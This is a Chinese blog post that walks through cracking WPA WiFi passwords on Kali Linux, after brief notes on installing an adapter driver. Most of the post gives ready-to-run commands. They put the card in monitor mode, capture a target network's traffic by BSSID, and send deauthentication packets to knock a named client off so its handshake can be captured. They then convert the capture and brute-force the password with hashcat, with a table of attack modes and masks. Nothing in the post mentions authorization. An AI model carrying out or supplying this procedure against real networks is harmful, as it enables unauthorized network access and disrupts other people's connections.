kali wifi 破解

安装驱动

本人使用rt8811CU,安装驱动踩了好多坑,

#更新系统
sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade -y
#更新后记得重启

#后面参考:https://github.com/brektrou/rtl8821CU
#报错'linux-headers-x.x.x-kalix-amd64'(具体啥忘了0.0) 参考https://blog.cwsya.com/16.html
# sudo apt-get install build-essential linux-headers-$(uname -r)

#github rtl8821CU 安装失败尝试
sudo apt install realtek-rtl88xxau-dkms

参考

https://github.com/brektrou/rtl8821CU
https://online-it.nu/how-to-install-alfa-awus1900-kali-linux-2018-4/
https://blog.cwsya.com/16.html

抓包

准备工作

airmon-ng check kill #防止后面抓包时被其他进程影响
iwconfig
#选择无线网卡,形如wlan0
airmon-ng start wlan0 #打开监听
iwconfig #查看网卡名是否变化 (测试未变,仍为wlan0,但可能会变wlan0mon)

开始抓包

airodump-ng wlan0 #开启监听模式后的网卡名
airodump-ng  -c 1 --bssid 38:E1:AA:95:FF:78 wlan0 -w freedom
#-c 指定信道,--bssid 指定目标wifi的mac,-w 指定抓包保存文件名

新开终端

#注入攻击
aireplay-ng -0 20 -a 38:E1:AA:95:FF:78 -c 42:32:F1:98:6D:8C wlan0
#-0 20 攻击包数量 -a wifi的mac -c wifi连接设备(session) mac

当右上角,出现handshake 即抓到握手包

hashcat爆破密码

转换包格式

hcxpcapngtool  xxx.cap -o yyy.hc22000

爆破

hashcat -m 22000 out.hc22000 -o key.txt -a 0 WIFIpswddict.txt
# -a 0字典攻击 后面可跟目录或文件

攻击模式

-a
0 Straight(字典破解)
1 Combination(组合破解)
3 Brute-force(掩码暴力破解)
6 Hybrid dict + mask(混合字典+掩码)
7 Hybrid mask + dict(混合掩码+字典)

掩码

?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = !"#$%&'()*+,-./:;<=>?@[]^_`{|}~
?a = ?l?u?d?s
?l表示a-z,
?u表示A-Z,
?d表示0-9,
?a表示键盘上所有的特殊字符,
?s表示键盘上所有的可见字符,
?h表示8bit 0xc0-0xff的十六进制,
?D表示8bit的德语字符,
?F表示8bit的法语字符,
?R表示8bit的俄语字符。

posted @ 2022-05-15 10:51  DirWangK  阅读(479)  评论(0编辑  收藏  举报